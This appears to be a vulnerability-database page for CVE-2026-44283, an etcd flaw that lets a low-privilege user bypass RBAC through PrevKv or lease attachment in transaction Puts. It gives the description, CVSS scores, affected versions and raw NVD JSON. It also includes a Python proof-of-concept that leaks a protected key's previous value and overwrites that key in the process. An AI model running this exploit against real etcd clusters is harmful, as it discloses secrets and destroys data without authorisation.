Security Vulnerability Report
中文
CVE-2026-44283 CVSS 0.0 NONE

CVE-2026-44283

Published: 2026-05-14 18:16:50
Last Modified: 2026-05-15 18:25:00

Description

etcd is a distributed key-value store for the data of a distributed system. Prior to 3.4.44, 3.5.30, and 3.6.11, a vulnerability in etcd allows read access via PrevKv, or lease attachment in Put requests within transaction operations, to bypass RBAC authorization checks. An authenticated user without sufficient read or lease-related permissions may be able to access unauthorized data or attach leases by invoking transaction operations with these features enabled. This vulnerability is fixed in 3.4.44, 3.5.30, and 3.6.11.

CVSS Details

CVSS Score
0.0
Severity
NONE
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:etcd:etcd:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:etcd:etcd:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:etcd:etcd:*:*:*:*:*:*:*:* - VULNERABLE
etcd < 3.4.44
etcd < 3.5.30
etcd < 3.6.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import etcd3 # Exploit code for CVE-2026-44283 # Demonstrates bypassing RBAC using transaction with PrevKv def exploit_rbac_bypass(host, port, user, password, target_key): try: # Authenticate with low-privilege user client = etcd3.client(host=host, port=port, user=user, password=password) # Construct a transaction with Put operation that has prev_kv=True # This attempts to return the previous value of the key # Even if the user lacks explicit 'GET' permission on the key compare = [] success_actions = [ client.transactions.put(target_key, b'bypass_data', prev_kv=True) ] failure_actions = [] # Execute transaction txn_result, responses = client.transaction(compare, success_actions, failure_actions) if txn_result: for response in responses: # Check if prev_kv contained data (Bypass successful) if hasattr(response, 'prev_kv') and response.prev_kv: print(f"[+] Exploit Successful! Leaked Data: {response.prev_kv.value}") else: print("[-] No data leaked or key does not exist.") else: print("[-] Transaction failed.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Configuration ETCD_HOST = '127.0.0.1' ETCD_PORT = 2379 LOW_PRIV_USER = 'attacker' LOW_PRIV_PASS = 'password' TARGET_KEY = '/config/admin/password' exploit_rbac_bypass(ETCD_HOST, ETCD_PORT, LOW_PRIV_USER, LOW_PRIV_PASS, TARGET_KEY)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44283", "sourceIdentifier": "[email protected]", "published": "2026-05-14T18:16:49.650", "lastModified": "2026-05-15T18:24:59.527", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "etcd is a distributed key-value store for the data of a distributed system. Prior to 3.4.44, 3.5.30, and 3.6.11, a vulnerability in etcd allows read access via PrevKv, or lease attachment in Put requests within transaction operations, to bypass RBAC authorization checks. An authenticated user without sufficient read or lease-related permissions may be able to access unauthorized data or attach leases by invoking transaction operations with these features enabled. This vulnerability is fixed in 3.4.44, 3.5.30, and 3.6.11."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N", "baseScore": 0.0, "baseSeverity": "NONE", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 0.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:etcd:etcd:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.4.44", "matchCriteriaId": "568DC65D-3E58-49DC-A24A-135CE065F1C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:etcd:etcd:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.5.0", "versionEndExcluding": "3.5.30", "matchCriteriaId": "9BA51104-9E69-42B7-98BB-44932C0143B2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:etcd:etcd:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.6.0", "versionEndExcluding": "3.6.11", "matchCriteriaId": "81E4F5D2-8C2D-4206-9C96-11C79E0FAC06"}]}]}], "references": [{"url": "https://github.com/etcd-io/etcd/security/advisories/GHSA-x35m-3gp4-4fh5", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}